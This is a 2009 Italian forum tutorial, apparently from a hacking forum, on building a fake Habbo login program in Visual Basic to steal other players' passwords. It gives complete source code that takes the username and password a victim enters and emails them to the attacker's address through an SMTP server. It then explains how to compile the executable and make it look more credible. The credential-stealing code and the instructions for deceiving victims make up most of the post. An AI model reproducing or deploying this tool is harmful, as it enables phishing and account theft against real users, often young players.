Come rubare una password habbo (fake login software)

Ultima modifica di Skizzo il Dom Set 27, 2009 2:57 pm - modificato 6 volte.

Oggi vi spiegherò come rubare una password habbo tramite un fake login software!
Ne io ne lo staff del forum siamo responsabili dell'uso che farete con questa guida!
Occorrente: Visual basic 2008 scaricabile da qui
Tanta buona volontà!
Guida:
Apriamo visual basic 2008 express edition e inseriamo 2 texbox e un button e disponiamoli così:

Una volta fatto clicchiamo due volte sul form in una parte vuota e comparirà una finestra simile a questa:

Cancelliamo tutto il contenuto e inseriamoci questo codice!

Codice:: Imports System.Net.Mail

Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Button1.Text = ("Vai su habbo e controlla")
TextBox1.Text = "Inserisci il tuo username"
TextBox2.Text = "Inserisci la tua password"
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim tuamail As String = "inserisci la tua email" 'Inserisci come descritto
Dim tuonome As String = "Inserisci il tuo nome" 'Inserisci come desrtitto
Dim tuostmp As String = "Inserisci il tuo SMTP" 'Inserisci come descritto (Es. per chi ha alice: out.alice.com
Dim myMail As New MailMessage()
myMail.From = New MailAddress("password@skizzo.it", TextBox1.Text) 'QUesto serve per decidere da chi viene la email
myMail.To.Add(New MailAddress(tuamail, tuonome)) 'A chi arriva la mail
myMail.Subject = TextBox1.Text 'L'oggetto
myMail.Priority = MailPriority.High 'La priorità
myMail.IsBodyHtml = True
myMail.Body = "Il nome dell habbo è: " & TextBox1.Text & " La password è: " & TextBox2.Text 'Il testo della mail
Dim Smtp As New SmtpClient 'Il server SMTP
Smtp.Host = tuostmp
Smtp.Send(myMail) 'Invia l'email
End Sub
End Class

Voi dovrete modificare queste 3 stringhe, inserendo la vostra email il vostro nome e il vostro server SMTP:

Codice:: Dim tuamail As String = "inserisci la tua email" 'Inserisci come descritto
Dim tuonome As String = "Inserisci il tuo nome" 'Inserisci come desrtitto
Dim tuostmp As String = "Inserisci il tuo SMTP" 'Inserisci come descritto (Es. per chi ha alice: out.alice.com

Per la lista degli SMTP apri lo spoiler:

Spoiler:

Ora premete F5 per controllare se il programma funziona! Se tutto è giusto vi arriverà la mail!
Una volta fatto cliccate su file poi su salva tutto e mettete la destinazione. Una volta fatto andate nella cartella su cui avete deciso di salvare e poi andate in bin>debug qui ci sarà l'eseguibile!
La grafica è penosa ovvio, ma questa è solo una rampa di lancio! Io per esempio ho migliorato la grafica e per renderlo piu credibile ho messo il login ad habbo!
Guarda lo spoiler: